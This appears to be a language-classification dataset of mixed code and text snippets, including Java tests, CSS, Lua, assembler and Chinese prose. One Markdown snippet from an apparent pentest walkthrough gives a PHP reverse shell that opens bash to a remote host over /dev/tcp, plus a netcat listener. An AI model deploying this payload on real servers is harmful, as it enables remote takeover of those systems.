content stringlengths 2 6.21k | label stringclasses 16
values |
|---|---|
java.lang.String <B>FLAG_INCREMENTAL</B></PRE>
<DL>
<DD>-incremental flag -- baseline to be created is incremental
<P>
<DL>
<DT><B>See Also:</B><DD><A HREF="../../../../../../../constant-values.html#org.apache.tools.ant.taskdefs.optional.clearcase.CCMkbl.FLAG_INCREMENTAL">Constant Field Values</A></DL>
</DL>
<HR>
<A ... | HTML |
testee.store(DELETED_MESSAGE).block();
Stream<DeletedMessageWithStorageInformation> messageIds = testee.retrieveMetadata(BUCKET_NAME, USERNAME).toStream();
assertThat(messageIds).containsExactly(DELETED_MESSAGE);
}
@Test
void retrieveMetadataShouldNotReturnDeletedMessages() {
teste... | Java |
pingProviderId,
required this.shippingFee,
this.expectedDeliveryDay,
this.voucherCode,
required this.items,
this.customerNotes,
});
OrderByShopEntity copyWith({
String? shopId,
String? shippingProviderId,
double? shippingFee,
String? expectedDeliveryDay,
String? voucherCode,... | Dart |
n(
"startingin",
"(?:§.)*Starting in: §.(?:\\d+:)?\\d+",
)
/**
* REGEX-TEST: Time Elapsed: §a48s
*/
val timeElapsedPattern by multiUseSB.pattern(
"timeelapsed",
"(?:§.)*Time Elapsed: (?:§.)*(?<time>(?:\\w+[ydhms] ?)+)",
)
/**
* REGEX-TEST: Instance Sh... | Kotlin |
compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, e... | Java |
from re import finditer
with open('txt/24_21908.txt') as file:
st = file.readline()
pattern = r'[1-9ABCD][0-9ACBD]+[02468AC]'
res = [len(i.group()) for i in finditer(pattern, st)]
print(max(res))
| Python |
st 18
{
code = { Ops.LDX_IMM, 0x41,
Ops.LDY_ABSX, 0xFF, 0x05,
Ops.HLT },
aVal = 245,
xVal = 0x41,
yVal = 122,
zVal = false,
nVal = false,
addrs = { 0x070C, 0x03A1, 0x0409, 0x0333, 0x0424, 0x0750, 0x0640 },
vals = { 169, 69, 245, 222, ... | Lua |
// CHECK: encoding: [0x62,0x01,0x7d,0x08,0x7f,0xc9]
vmovdqa32.s %xmm25, %xmm25
// CHECK: vmovdqa32.s %xmm25, %xmm25 {%k5}
// CHECK: encoding: [0x62,0x01,0x7d,0x0d,0x7f,0xc9]
vmovdqa32.s %xmm25, %xmm25 {%k5}
// CHECK: vmovdqa32.s %xmm25, %xmm25 {%k5} {z}
// CHECK: encoding: [0x62,0x01,0x7d,0x8d,... | Assembly |
code> unless set to different value
(via <code><a href="config_set_floatx.html">config_set_floatx()</a></code>). If a <code>keras$DTypePolicy</code> is
provided, then the <code>compute_dtype</code> will be utilized.</p></dd>
</dl></div>
<div class="section level2">
<h2 id="value">Value<a class="anchor" aria-la... | HTML |
value", up)`,
exp: `{"status":"success","data":{"resultType":"matrix","result":[{"metric":{"value":"1"},"values":[[1709258312.955,"1"]]},{"metric":{"value":"3"},"values":[[1709258342.955,"1"],[1709258372.955,"1"],[1709258402.955,"1"],[1709258432.955,"1"],[1709258462.955,"1"],[1709258492.955,"1"]]},{"metric":{"va... | Go |
r constructor)
对于优化,一些模型可能会有一些特别定义的参数,例如批归一化 (BatchNorm) 层里面的权重衰减 (weight decay)。
使用者可以通过定制优化器的构造器来微调这些细粒度的优化器参数。
```python
from mmcv.utils import build_from_cfg
from mmcv.runner import OPTIMIZER_BUILDERS
from .cocktail_optimizer import CocktailOptimizer
@OPTIMIZER_BUILDERS.register_module
class CocktailOptimizerC... | Markdown |
�-ÖØ-öø-ɏؐ-ؚؠ-ٟٮ-ۓە-ۜ۟-۪ۨ-ۯۺ-ۼۿݐ-ݿࢠࢢ-ࢬࣤ-ࣾḀ-ỿⱠ-ⱿꜢ-ꞈꞋ-ꞎꞐ-ꞓꞠ-Ɦꟸ-ꟿﭐ-ﮱﯓ-ﴽﵐ-ﶏﶒ-ﷇﷰ-ﷻﹰ-ﹴﹶ-ﻼ])((?:2Esd))(?:(?=[\\d\\s\\xa0.:,;\\x1e\\x1f&\\(\\)\\uff08\\uff09\\[\\]/"'\\*=~\\-\\u2013\\u2014])|$)`, "gi")
},
{
osis: ["Isa"],
regexp: new RegExp(`(^|${bcv_parser.prototype.regexps.pre_book})((?:yasaʿyāh|ی(?:عس|سع)یاہ|Isa))(... | Typescript |
^
.eabi_attribute 43, 43
@ CHECK: error: bad string constant
@ CHECK: .eabi_attribute 43, 43
@ CHECK: ^
.eabi_attribute 0
@ CHECK: error: comma expected
@ CHECK: .eabi_attribute 0
@ CHECK: ^
.eabi_attribute Tag_compatibility, 1
@ CHECK: error: co... | Assembly |
(section, self.option) -- delete "ipv6_url" helper
return self.map:set(section, "ip_url", value) -- and write "ip_url"
end
end
-- IPv4 + IPv6 - ip_interface -- ###############################################
ipi = ns:taboption("advanced", ListValue, "ip_interface",
translate("Interface"),
translate("Defines the ... | Lua |
ino',
'Jhonny',
'Celso',
'Flavio',
'Adalberto',
'Amado',
'Carlitos',
'Porfirio',
'Jt',
'Arnoldo',
'Irving',
'Conner',
'Theodore',
'Sai',
'Jude',
'Jules',
'Kristian',
'Rory',
'Drake',
'Matias',
'Edy',
'Gabino',
'Rakesh',
'Lucky',
'Aditya',
'Memo',
'Dino',
'Jacques',
... | Dart |
// 所以我们默认使用variable类型,与text区分
let kind: CompletionItemKind = CompletionItemKind.Variable;
switch (sym.kind) {
case SymbolKind.Function: kind = CompletionItemKind.Function; break;
case SymbolKind.Namespace: kind = CompletionItemKind.Module; break;
case SymbolK... | Typescript |
{
xfree(l->line);
l->line = NULL;
l->len = 0;
}
else
{
p = (char *)xmalloc(first + last + 1);
strncpy(p, l->line, first);
strcpy(p + first, l->line + first + nb);
xfree(l->line);
l->line = p;
l->len = first + last;
}
if (bufno == *cnb->pvar_buf)
cnb->modified = TRUE;
}
/* Print buffe... | C |
CharaLookEyesTargetChara,
CharaLookNeck, CharaLookNeckTarget, CharaLookNeckTargetChara, CharaLookNeckSkip, CharaItemCreate,
CharaItemDelete, CharaItemAnime, CharaItemFind, EventCGSetting, EventCGRelease,
EventCGNext, ObjectCreate, ObjectLoad, ObjectDelete, ObjectPosition,
ObjectRotation... | C# |
e 1
.short _02266208 - _0226611A - 2 ; case 2
.short _02266286 - _0226611A - 2 ; case 3
_02266122:
mov r0, #7
ldr r1, [sp, #0x14]
lsl r0, r0, #0xe
sub r1, r1, r0
str r1, [sp, #0x14]
ldr r1, [sp, #8]
lsr r0, r0, #1
sub r0, r1, r0
str r0, [sp, #8]
add r0, r4, #0
ldr r1, _02266328 ; =0x0000A38D
add r0, #0x84... | Assembly |
:
for ds_cfg in cfg.data.test:
ds_cfg.pipeline = replace_ImageToTensor(ds_cfg.pipeline)
# init distributed env first, since logger depends on the dist info.
if args.launcher == 'none':
distributed = False
else:
distributed = True
init_dist(args.launcher, ... | Python |
global_default(subscriber) {
return Err(format!("Unable to set global default subscriber {}", e).into());
}
}
let factory_state = FactoryState::new(cli_args.blocks, cli_args.transactions);
let service_builder = new_full_start!(config).0;
node_transaction_factory::factory(
factory_state,
s... | Rust |
bgorange'> </span></td></tr> <tr><td>Experimental:</td> <td><span class='cplate bgyellow'> </span></td></tr> <tr><td>Best Common Practice:</td> <td><span class='cplate bgmagenta'> </span></td></tr> <tr><td>Pr... | HTML |
cr>
<ol>
<li>It is impossible to use macro-language elements while <a href="../macrokey/record.html">recording</a>
a macro in a usual way. Macro-language elements can be added to the sequence only by editing
the registry manually or by using special applications or FAR plugins.</li>
</ol>
</div>
<h3>Example</h3>
<... | HTML |
//
// Copyright 2014-2015 Amazon.com,
// Inc. or its affiliates. All Rights Reserved.
//
// Licensed under the Amazon Software License (the "License").
// You may not use this file except in compliance with the
// License. A copy of the License is located at
//
// http://aws.amazon.com/asl/
//
// or in the "l... | C# |
transparency-reversed.png)}.k-rtl .k-flatcolorpicker .k-hue-slider .k-slider-track{background:linear-gradient(to left,red 0,#ff0 16%,#0f0 33%,#0ff 50%,#00f 67%,#f0f 84%,#ff0004 100%)}
/*# sourceMappingURL=kendo.rtl.min.css.map */
/*!
* Copyright 2020 Progress Software Corporation and/or one of its subsidiaries or affi... | CSS |
L55_1 = _ENV
L56_1 = "CC924006D5C703655"
L57_1 = _hx_e
L57_1 = L57_1()
L55_1[L56_1] = L57_1
L55_1 = _hx_e
L55_1 = L55_1()
C399082A83C6D55BE = L55_1
L68_1 = _ENV["CC924006D5C703655"]
L69_1 = "new"
L70_1 = {}
L68_1[L69_1] = L70_1
L68_1 = _ENV["CC924006D5C703655"]
L69_1 = "__name__"
L70_1 = "CC924006D5C703655"
L68_1[L69_1... | Lua |
is the actual width of the contents, thus it can be used as
a component in a containing expression, e.g. for putting the entire alignment
in a parenthesis
*/
defineEnvironment(['math', 'displaymath'], makeEnvironment);
defineEnvironment('center', makeEnvironment);
defineTabularEnvironment(
'array',
'{columns:col... | Typescript |
extern "C" fn notify_model_trampoline<P, F: Fn(&P) + 'static>(
this: *mut gtk_sys::GtkSliceListModel,
_param_spec: glib_sys::gpointer,
f: glib_sys::gpointer,
) where
P: IsA<SliceListModel>,
{
let f: &F = &*(f as *const F);
f(&Slice... | Rust |
companion object {
const val LEDS_COUNT = 16
const val EXAMPLE = "example:"
const val FILE = "file:"
const val RESOURCE = "resource:"
const val BYTES = "bytes:"
private fun createUsingResource(parent: Module, name: String, path: String) = STM32F042(parent, name, Resourc... | Kotlin |
SMODS.Joker {
key = 'faded',
atlas = 'Jokers',
pos = {
x = 1,
y = 1
},
rarity = 2,
mxms_credits = {
art = { "Maxiss02" },
code = { "theAstra" },
idea = { "Maxiss02" }
},
blueprint_compat = false,
cost = 7,
calculate = function(self, card, c... | Lua |
textColors[module]
end
--> color for TIME that has X remaining <--
timeColors[0], -- daysColor
timeColors[1], -- hoursColor
timeColors[2], -- minutesColor
timeColors[3], -- secondsColor
timeColors[4], -- expiringColor
timeColors[5], -- mmssColor [MM:SS]
timeColors[6], -- hhmmColor [HH:MM]
timeColors[7], -- ... | Lua |
A HREF="#expr"><FONT COLOR=maroon>expr</FONT></A><SUB>i</SUB></I> takes place in an environment enriched by the bindings
performed during matching. If several patterns match the value of
<I><A HREF="#expr"><FONT COLOR=maroon>expr</FONT></A></I>, the one that occurs first in the <FONT COLOR=blue><TT>match</TT></FONT> ex... | HTML |
/* -*- Mode: C; tab-width: 8; indent-tabs-mode: t; c-basic-offset: 8 -*-
*
* Copyright (C) 2016 Neal Gompa <ngompa13@gmail.com>
*
* Licensed under the GNU Lesser General Public License Version 2.1
*
* This library is free software; you can redistribute it and/or
* modify it under the terms of the GNU Lesser Gene... | C |
,
locale: localeName,
other: '$count Aufgaben heute erledigt!',
one: '1 Aufgabe heute erledigt!',
zero: 'Noch keine Aufgaben',
);
return '$_temp0 🎉';
}
@override
String get showCompletedTasks => 'Erledigte Aufgaben anzeigen';
@override
String get displayFinishedTasks => 'Abg... | Dart |
set_attributes(
// self.to_glib_none().0,
// attributes.to_glib_none().0,
// n_attributes,
// );
// }
// }
pub fn set_first_vertex(&self, first_vertex: i32) {
unsafe {
ffi::cogl_primitive_set_first_vertex(self.to_glib_none(... | Rust |
t = searchText,
currentUserId = currentUserId,
pinnedView = true
)
}
// 渲染普通消息
items(regularChats.value, key = { it.id }) { item ->
ChatView(
chat = item,
callback = callba... | Kotlin |
CertificateOfEmploymentModel instance) {
final val = <String, dynamic>{};
void writeNotNull(String key, dynamic value) {
if (value != null) {
val[key] = value;
}
}
writeNotNull('id', instance.id);
writeNotNull('type', instance.type);
writeNotNull('issuedBy', instance.issuedBy?.toJson());
... | Dart |
t to enable the language server:
```lua
vim.lsp.enable('tabby_ml')
```
Default config:
- `cmd` :
```lua
{ "tabby-agent", "--lsp", "--stdio" }
```
- `filetypes` :
```lua
{}
```
- `root_markers` :
```lua
{ ".git" }
```
---
## tailwindcss
https://github.com/tailwindlabs/tailwindcss-intellisense
Tail... | Markdown |
�争中才逐渐提高了认识。原因很简单,凡是大贪污分子,总是要千方百计欺骗领导,利用领导上的麻木不仁、官僚主义,或者利用领导上的宗派、封建情绪(如老部下、同乡、同学、亲戚和裙带关系等)和重“才”不重德的错误观点。所以直属首长往往对其属下的贪污分子嗅觉不灵。
</p>
<p>
四、打大“老虎”的方法。大“老虎”多数不轻易坦白。因此,要在首长直接领导下组成专门小组负责,有的单位称为打虎组;要把所有有关的材料和线索集中起来加以周密系统的研究;要仔细查账,研究查对“老虎”所经手的一切账目和资财;要研究他的家庭、历史和一切社会关系、交易关系;要利用与之有关的已经坦白的贪污分子,以毒攻毒,使其借此立功;要把本案有关的嫌疑分子隔离开进行... | HTML |
// RUN: %clang_cc1 %s -O3 -triple=x86_64-apple-darwin -target-feature +avx -emit-llvm -o - | FileCheck %s
// Don't include mm_malloc.h, it's system specific.
#define __MM_MALLOC_H
#include <immintrin.h>
//
// Test LLVM IR codegen of shuffle instructions
//
__m256 test__mm256_loadu_ps(void* p) {
// CHECK: load <8 ... | C |
5672,0x4CB4,{0x90,0x1F,0xA2,0x6D,0x3F,0xD2,0xF3,0xE6}};
WCHAR pwchLicenseKey[] =
{
0x0067, 0x006C, 0x0074, 0x006C, 0x0071, 0x006B,
0x006C, 0x006E, 0x006C, 0x006E, 0x0067, 0x006E
};
BSTR bstrLicense = ::SysAllocStringLen(pwchLicenseKey,
sizeof(pwchLicenseKey)/sizeof(WCHAR));
HRESULT CoCreateInstanceLic(REFC... | C++ |
RG를 1로 설정하고, 순서에 상관없이 먼저 송신된다.
- **ACK(Acknowledgment 승인 번호)**: 1로 세팅되면, 확인 번호가 유효함을 뜻한다. 0으로 세팅되면, 확인 번호 미포함이다. 즉, 32비트 크기의 확인 응답 번호 필드가 무시된다.
- **PSH(Push)**: 수신측에서 이 데이터를 최대한 빠르게 처리하기 위하여 응용 프로그램 까지 바로 전달해달라는 플래그다. 이 플래그가 0이면 수신 측은 자신의 버퍼가 다 채워질 때 까지 기다리고 1이라면 더 이상 연결된 세그먼트가 없음을 의미하기도 한다.
- **RST(Reset 강제 연결 초기화)**:... | Markdown |
param support The XPath runtime context.
// *
// * @return false always.
// * @throws RuntimeException thrown if this NodeSetDTM is not of
// * a mutable type.
// */
// private boolean addNodesInDocOrder(int start, int end, int testIndex,
// NodeList nodelist, XPathContext... | Java |
(User Manual Name) for PSI5_RDM3_27_H.
* To use register names with standard convension, please use PSI5_RDM3_27_H.
*/
#define PSI5_RDMH327 (PSI5_RDM3_27_H)
/** \brief 9E0, Receive Data Memory Low 328 */
#define PSI5_RDM3_28_L /*lint --e(923, 9078)*/ (*(volatile Ifx_PSI5_RDM_L*)0xF00059E0u)
/** Alias (User Manual Name... | C |
troy() {
console.log("Destroy");
}
}
import { window, commands, ExtensionContext, Terminal, QuickPickItem } from 'vscode';
import * as symfonyExeCommandList from './symfonyExeCommandList.json';
import * as symfonyCommandList from './symfonyCommandList.json';
import * as composerCommandList from './composerCommand... | Typescript |
var mismatch = false;
for (var i = 0; i < size; i++)
{
for (var j = 0; j < size; j++)
{
if (!valuesEqual(expected[i, j], getResult(i, j))) mismatch = true;
}
}
if (!mismatch) return;
var ... | C# |
se),
)
}
private fun createUserBmcSummary(
userBmc: BusinessModelCanvas,
gptResponse: String,
): UserBmcSummary {
val bmcSection = extractSection(gptResponse, "0. BMC 핵심 강점", "1. 사용자 규모 분석")
val keyStrengths = extractListValues(bmcSection, "핵심 강점", 3)
return... | Kotlin |
尺多高的田坎上推下来,为此,抬回家中,久治不好,一月多就卧床死了。
</p>
<p>
(2)为偷粮食崔玉光曾打过曾道德、崔必光两人。
</p>
<p>
(3)六○年二月份,克扣粮食饿死贫农崔光倍、崔照华、罗贵英小孩、崔光仕、崔罗代等。
</p>
<p>
公社党委意见:管制生产。
</p>
<h3>
对肖文荣所犯错误的报告
</h3>
<p>
肖文荣,男,现年三十三岁,汉族,家庭成份贫农,务农出身,共产党员,城关公社联桥管理区人,解放后历任村委、主席、主任,五六年入党,任支委等职,六○年任钟南管理区总支副书记,三反中已撤职回家生产。现任总支委员。
</p>
... | HTML |
-Picker.antd-Form-control--sizeSm > .antd-Picker-input,
.amis-scope .antd-Picker.antd-Form-control--sizeMd > .antd-Picker-input,
.amis-scope .antd-Picker.antd-Form-control--sizeLg > .antd-Picker-input {
min-width: 100%;
display: inline-flex;
}
}
.amis-scope .antd-Picker.is-focus > .antd-Picker-input {
... | CSS |
.junit.Rule
import org.junit.Test
class WireguardParamsTests {
@get:Rule var rule = InstantTaskExecutorRule()
@MockK
private lateinit var mockCertRepository: CertificateRepository
private lateinit var localNetworks: List<IPAddress>
private lateinit var connectionParams: ConnectionParamsWireguard... | Kotlin |
ImageCodes = inImageCodes,
notInImageCodes = notInImageCodes,
recommendFlag = recommendFlag,
keyword = keyword,
classifyId = classifyId,
categoryCode = categoryCode,
rdType = rdType,
extraConditions = extraConditions,
offset... | Kotlin |
**/
function isTransferAllowed(address _from, uint256 _amount) public view returns (bool) {
LendingPoolDataProvider dataProvider = LendingPoolDataProvider(addressesProvider.getLendingPoolDataProvider());
uint256 amountUnderlying = aTokenAmountToUnderlyingAmount(_amount);
return dataProvid... | HTML |
Rune); state.index < max; state.index++ {
character = chunkAsRune[state.index]
if hasFoundAStatementWithoutBraces {
if isLineBreakCharacter(character) {
break
}
} else {
if character == charBlockStart {
hasFoundTheCurlyBraces = true
curlyBraceCount++
} else if character == charBlockEnd {
... | Go |
else
state.global.mode = MeasureToolState::Mode::Vertical;
state.global.continuousCapture = _settings.continuousCapture;
state.global.drawFeetOnCross = _settings.drawFeetOnCross;
state.global.pixelTolerance = _settings.pixelTolerance;
state.glo... | C++ |
# 任务索引模板
│ ├── mgmt-debug-index.md # 调试索引模板
│ ├── debug-round-record.md # 轮次记录模板
│ ├── report-debug-summary.md # 调试总结报告模板
│ ├── report-lessons-learned.md # 经验教训模板
│ ├── report-final-analysis.md # 最终分析报告模板
│ └── debug-environment-setup.md # 环境配置模板
├── buglist/ # Bug管理目录
... | Markdown |
assert_transcoder(d, t, false)
/* Use I915_STATE_WARN(x) and I915_STATE_WARN_ON() (rather than WARN() and
* WARN_ON()) for hw state sanity checks to check for unexpected conditions
* which may not necessarily be a user visible problem. This will either
* WARN() or DRM_ERROR() depending on the verbose_checks modul... | C |
_idx]:idxs_it[i][end_idx - 1] + 1] = \
timeseries[i][idxs_it[i][start_idx] - 1]
else: # linear interpolation
idxs_interp = np.array([idxs_it[i][start_idx] - 1, idxs_it[i][end_idx - 1] + 1])
idxs_to_interp = np.arange(idxs_it[i][start_idx], idxs_it[i][end... | Python |
href="https://doc.rust-lang.org/1.83.0/core/convert/trait.TryFrom.html" title="trait core::convert::TryFrom">TryFrom</a><U> for T<div class="where">where
U: <a class="trait" href="https://doc.rust-lang.org/1.83.0/core/convert/trait.Into.html" title="trait core::convert::Into">Into</a><T>,</div></h3></s... | HTML |
没有什么人了。明军讨伐的消息立刻引起了一场骚动。
当晚,潮水一样的帖子涌入了 BBS 上,一时间五花八门的主意充斥着版面,立刻形成了刷版的状态。
第二天一早,元老院宣布召开全体大会。
元老院里,目前在临高的不需要坚守岗位的元老三百八十多人出席了会议。因为这是第一次牵涉到战争与和平的国家决策,所有能离开岗位的元老全部到了会场。
会场上一片热烈的气氛,元老们或坐或站,一个个面露兴奋之色。人群中不时还飞出几句:“操!干他个屁滚尿流!”、“把王尊德这个老家伙全家给灭了!”、“广州十日!”、“东莞三屠”之类的话语。
“妈妈的,仗还没打呢,一个个就想当鞑子了!”柳正代表远程勘探队的多数人来到元老院,听到有人在这么说忍不住骂了一句。后面... | Markdown |
는 다양한 수준의 존댓말을 포함한다[브라운 & 길만, 1968]. 요루바에서, 예를 들어 "그들"로 대략 번역되는 대명사는 단수형 존칭으로서 또는 3인칭 복수형 대명사[유수프, 2022]로서 사용될 수 있다. 다양한 데이터 소스에서 샘플링하고 언어에 따라 품질의 차이를 나타낼 수 있는 번역된 데이터에 의존한다는 점을 감안할 때, 우리 모델은 언어 스피커에서 예상되는 이러한 유형의 뉘앙스를 입증하지 못하고 다양한 수준의 표준화와 다양한 형식 명세를 나타낼 수 있다.\n' +
'\n' +
'**Safety measures & mitigation**:... | HTML |
manual;
}
/* -- hlist styles ---------------------------------------------------------- */
table.hlist {
margin: 1em 0;
}
table.hlist td {
vertical-align: top;
}
/* -- object description styles --------------------------------------------- */
.sig {
font-family: 'Consolas', 'Menlo', 'DejaVu Sans Mono', '... | CSS |
{
/// Handles the submitted [`Command`] using the [`Aggregate::handle`] method
/// and updates the Aggregate [`State`].
///
/// Returns a `&mut self` reference to allow for _method chaining_.
///
/// [`State`]: trait.Aggregate.html#associatedtype.State
/// [`Command`]: trait.Aggregate.html#... | Rust |
docs">[<span class='inner'>−</span>]</a></span><a class='srclink' href='../src/syn/macros.rs.html#37' title='goto source code'>[src]</a></span><span class='in-band'>Struct <a href='index.html'>syn</a>::<wbr><a class="struct" href=''>Index</a></span></h1><div class="docblock type-decl"><pre class='rust struct'>p... | HTML |
with permission from Drew Wilson
// http://pictos.drewwilson.com/
// Pictos icons are (c) 2010 Drew Wilson
@import '../global';
/**
* @class Ext.Button
*/
/**
* @var {measurement} $button-height Default height for buttons.
*/
$button-height: 1.8em;
/**
* @var {measurement} $button-radius Default border-radius... | CSS |
# Part of Odoo. See LICENSE file for full copyright and licensing details.
from odoo.models import ValidationError
from odoo.tests import TransactionCase, tagged
@tagged('-at_install', 'post_install')
class TestWebsiteRedirect(TransactionCase):
def test_01_website_redirect_validation(self):
with self.ass... | Python |
pt.PromptInfo.Builder()
.setTitle(getString(R.string.app_name))
.setNegativeButtonText(getString(android.R.string.cancel))
.setConfirmationRequired(false)
.build()
}
override fun onDestroy() {
super.onDestroy()
mSensorManager = null
mAccel... | Kotlin |
Int64(FlagCROShmSize)
return &cro, nil
}
func GetHTTPProbeOptions(xc *app.ExecutionContext, ctx *cli.Context, doProbe bool) config.HTTPProbeOptions {
opts := config.HTTPProbeOptions{
Full: ctx.Bool(FlagHTTPProbeFull),
ClientTimeout: ctx.Int(FlagHTTPProbeClientTimeout),
CrawlClientTimeout: ctx.Int(FlagHTT... | Go |
when (code) {
PAP_CODE_AUTHENTICATE_REQUEST -> PAPAuthenticateRequest()
PAP_CODE_AUTHENTICATE_ACK -> PAPAuthenticateAck()
PAP_CODE_AUTHENTICATE_NAK -> PAPAuthenticateNak()
else -> {
bridge.controlMailbox.send(
ControlMessage(Where.PAP, Result.ERR_UNKNOWN_TYPE)... | Kotlin |
# CS_ARCH_AARCH64, 0, None
0x41,0x00,0x03,0x1a = adc w1, w2, w3
0x41,0x00,0x03,0x9a = adc x1, x2, x3
0x85,0x00,0x03,0x3a = adcs w5, w4, w3
0x85,0x00,0x03,0xba = adcs x5, x4, x3
0x41,0x00,0x03,0x5a = sbc w1, w2, w3
0x41,0x00,0x03,0xda = sbc x1, x2, x3
0x41,0x00,0x03,0x7a = sbcs w1, w2, w3
0x41,0x00,0x03,0xfa = sbcs x1, ... | C# |
,
baseEntry,
item,
roll,
});
}
/**
* When generating e.g. a specific single item, we may redirect to a generic variant or group of items
* (or any combination thereof). Gracefully handle all possible cases.
*/
static async _pGetMagicItemRoll_pGetSubItems ({itemsRoot}) {
return (
await itemsR... | JavaScript |
Millis, true
)
val createTop =
drawingRect.top + dayHeight * (adjustedBeginTime - beginOfDay(adjustedBeginTime).timeInMillis - model.beginTime + beginOfDay(
model.beginTime
).timeInMillis) / (hourMillis * 24)
val createBottom =
... | Kotlin |
ndOne<T>(filter, callback) : collection.findOne<T>(filter);
}
/**
* @desc insert single object to db
* @param {T} item object for insert
* @example const result = await repository.create(item);
* @return {Promise<string>} return id of inserted object
*/
async function create(item: T... | Typescript |
// Licensed to the Software Freedom Conservancy (SFC) under one
// or more contributor license agreements. See the NOTICE file
// distributed with this work for additional information
// regarding copyright ownership. The SFC licenses this file
// to you under the Apache License, Version 2.0 (the "License");
// you may... | C |
(err)
}
expectedVersion, err := version.NewVersion("3.10.0")
if err != nil {
t.Fatal(err)
}
expectedRecord := ModuleRecord{
Key: "web_server_sg",
SourceAddr: tfmod.ParseModuleSourceAddr("terraform-aws-modules/security-group/aws//modules/http-80"),
RawSourceAddr: "terraform-aws-modules/securit... | Go |
空",
evaluator: baseMockEvaluator,
input: baseMockInput,
setupMocks: func() {
sharedMockLLMProvider.EXPECT().Call(gomock.Any(), gomock.Any()).Return(
&entity.ReplyItem{
ToolCalls: nil,
}, nil)
sharedMockMetric.EXPECT().EmitRun(int64(1), gomock.Any(), gomock.Any(), gomock.Any())
},... | Go |
shell.php
# Edit some variables in the payload
$ip = '<attacker-ip>'
$port = 4444
```
Or we might be able to use the following simple script.
```php
<?php shell_exec("/bin/bash -c 'bash -i >& /dev/tcp/10.0.0.1/4444 0>&1'"); ?>
```
Then open listener for getting a shell.
```sh
nc -lvnp 4444
```
After uploading it,... | Markdown |
1C 63 00 0C */ mulli r3, r3, 0xc
/* 8013C2A4 00137F04 7C 65 1A 14 */ add r3, r5, r3
/* 8013C2A8 00137F08 80 63 00 54 */ lwz r3, 0x54(r3)
/* 8013C2AC 00137F0C 7C 03 00 40 */ cmplw r3, r0
/* 8013C2B0 00137F10 41 81 00 50 */ bgt lbl_8013C300
/* 8013C2B4 00137F14 80 04 00 00 */ lwz r0, 0(r4)
/* 8013C2B8 00137F18 2C 0... | Assembly |
reward_model_names = df.apply(lambda x: _prettify_model_name(x), axis=1).to_list()
df.insert(0, "Reward Model", reward_model_names)
df = df.drop(columns=["model", "model_type"]).rename(columns={"average": "Score"})
if "Pref Sets" in name:
df = df.drop(columns=["... | Python |
rHook(x=>x.populateYarnPaths,e,x=>{n(x)});for(let x of e.workspaces){let T=k.relative(r.cwd,x.cwd);T!==""&&!T.match(/^(\.\.)?\//)&&i.reject.push(`/${T}`)}let s={accept:[],reject:[]},o=(f=(g=r.manifest.publishConfig)==null?void 0:g.main)!=null?f:r.manifest.main,a=(p=(h=r.manifest.publishConfig)==null?void 0:h.module)!=n... | JavaScript |
* @deprecated
*/
methodId: Scalars['ID'];
/**
* Shipping method title.
* @deprecated
*/
title?: Maybe<Scalars['String']>;
};
/** Order status enumeration */
export enum OrderStatusEnum {
Cancelled = 'CANCELLED',
Completed = 'COMPLETED',
Failed = 'FAILED',
OnHold = 'ON_HOLD',
Pending = 'PENDING',
Pro... | Typescript |
nd()%4 != 0)
{
Sound_system.StopSoundLooping(Sound_system.Play3dSound(ai_info->sound[AI_ATTACK_SOUND], SND_PRIORITY_NORMAL, obj));
if(Game_mode & GM_MULTI)
MultiPlay3dSound(ai_info->sound[AI_ATTACK_SOUND], OBJNUM(obj), SND_PRIORITY_NORMAL);
if(Demo_flags == DF_RECORDING)
DemoWrite3DSound... | C++ |
#[test]
fn test_new_rtcp_mux_policy() {
let tests = vec![
("Unspecified", RTCPMuxPolicy::Unspecified),
("negotiate", RTCPMuxPolicy::Negotiate),
("require", RTCPMuxPolicy::Require),
];
for (policy_string, expected_policy) in tests {
assert_eq!... | Rust |
font-weight: bold } /* Literal.String.Escape */
.sh { color: #BA2121 } /* Literal.String.Heredoc */
.si { color: #BB6688; font-weight: bold } /* Literal.String.Interpol */
.sx { color: #008000 } /* Literal.String.Other */
.sr { color: #BB6688 } /* Literal.String.Regex */
.s1 { color: #BA2121 } /* Literal.String.Single... | CSS |
HomeAppModel(i: Int): AppListItem {
return loadApp("$i")
}
fun setHomeAppModel(i: Int, appListItem: AppListItem) {
storeApp("$i", appListItem)
}
var appSwipeLeft: AppListItem
get() = loadApp(SWIPE_LEFT)
set(appModel) = storeApp(SWIPE_LEFT, appModel)
var appSwipeRig... | Kotlin |
SafePath.CombineFilePath(ProgramConstants.GetBaseResourcePath(), resConfigFileName), SafePath.CombineFilePath(ProgramConstants.GamePath, Path.GetFileName(ConfigFileName)));
//}
//foreach (var file in filesToCopy)
//{
// File.Copy(SafePath.CombineFilePath(ProgramConsta... | C# |
C%2Fsvg%3E");
}
/* Hover */
.uk-accordion-title:hover {
color: #666;
text-decoration: none;
}
/* Content
========================================================================== */
.uk-accordion-content {
display: flow-root;
margin-top: 20px;
}
/*
* Remove margin from the last-child
*/
.uk-accordion-conten... | CSS |
#!/usr/bin/python3 -i
#
# Copyright (c) 2022-2023 LunarG, Inc.
#
# Permission is hereby granted, free of charge, to any person obtaining a copy
# of this software and associated documentation files (the "Software"), to
# deal in the Software without restriction, including without limitation the
# rights to use, copy, m... | Python |
- 在 Gitbook 中在线浏览,每个系列对应各自的 Gitbook 仓库。
| [Awesome Lists](https://ngte-al.gitbook.io/i/) | [Awesome CheatSheets](https://ngte-ac.gitbook.io/i/) | [Awesome Interviews](https://github.com/wx-chevalier/Awesome-Interviews) | [Awesome RoadMaps](https://github.com/wx-chevalier/Awesome-RoadMaps) | [Awesome MindMaps](https://... | Markdown |
d P_ik.
# First, let's just obtain the centers.
c = np.zeros((4, 3))
for i in range(4):
face = [
f for f in range(4) if f != i
] # TODO: Is there a better way to exclude indices?
c[i] = sum(v[face]) / 3
# Now let o be the tetartoid center.
o = shift
# Conside... | Python |
ad, 0x97, 0xe5, 0x93, 0xa7, 0xc, 0x75, 0xd6), 10);
public static readonly PropertyKey DeviceDriverCoInstallers = new(new(0xa8b865dd, 0x2e3d, 0x4094, 0xad, 0x97, 0xe5, 0x93, 0xa7, 0xc, 0x75, 0xd6), 11);
public static readonly PropertyKey DeviceResourcePickerTags = new(new(0xa8b865dd, 0x2e3d, 0x4094, 0xad... | C# |
(define (f x y)
(let x_ = (into x))
(let y_ = (into y))
(<> x_ y_)))
```
## `Unless` と `When`
